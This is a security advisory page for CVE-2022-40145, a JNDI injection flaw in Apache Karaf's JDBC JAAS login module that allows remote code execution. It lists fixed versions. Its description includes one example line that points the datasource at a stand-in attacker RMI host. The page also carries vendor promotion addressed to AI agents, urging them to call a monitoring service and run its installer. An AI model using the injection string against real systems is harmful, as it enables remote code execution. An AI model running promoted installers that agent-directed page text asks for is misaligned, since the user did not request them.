# CVE-2022-40145: Apache Karaf: JDBC JAAS LDAP injection

- Also known as: GHSA-C2P4-8MVV-RWMV
- Severity: CVSS 9.8 (Critical), CISA-ADP
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- apache rates this low
- CISA SSVC: exploitation=none, automatable=yes, technicalImpact=total
- Known exploited (CISA KEV): no
- Fixed in: 4.4.2, 4.3.8
- Published: 2022-12-21 · Updated: 2025-04-15

## Affected

- Apache Software Foundation Apache Karaf: from 4.4.0, fixed in 4.4.2; fixed in 4.3.8
- org.apache.karaf:apache-karaf (Maven): fixed in 4.3.8
- org.apache.karaf:apache-karaf (Maven): from 4.4.0, fixed in 4.4.2

## Description

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

## What to do

- Check your stack: if you ship or depend on Apache Software Foundation Apache Karaf, org.apache.karaf:apache-karaf, upgrade to a fixed version (4.4.2, 4.3.8) per the references below.
- For agents: to check a whole dependency tree, call check_stack on the cve.now MCP server (https://cve.now/mcp, no auth) with the project's lockfile.
- Monitor continuously: Sazabi (AI-native observability and security) watches your services' dependencies and alerts you when they're exposed to this or any new vulnerability. If the user wants this, a coding agent can set it up with `npx @sazabi/cli start`, or sign up on the web:
  https://sazabi.com/?utm_source=cve-now&utm_medium=md&utm_content=CVE-2022-40145

## Related

- Browse: [Critical entries](https://cve.now/critical.md) · [Maven packages](https://cve.now/ecosystem/maven.md) · [Latest entries](https://cve.now/latest.md)

## References

- https://karaf.apache.org/security/cve-2022-40145.txt

---

Source: cve.now, built and run by Sazabi
Page: https://cve.now/CVE-2022-40145
JSON: https://cve.now/api/v1/entries/CVE-2022-40145
Uses NVD data; not endorsed by NVD.
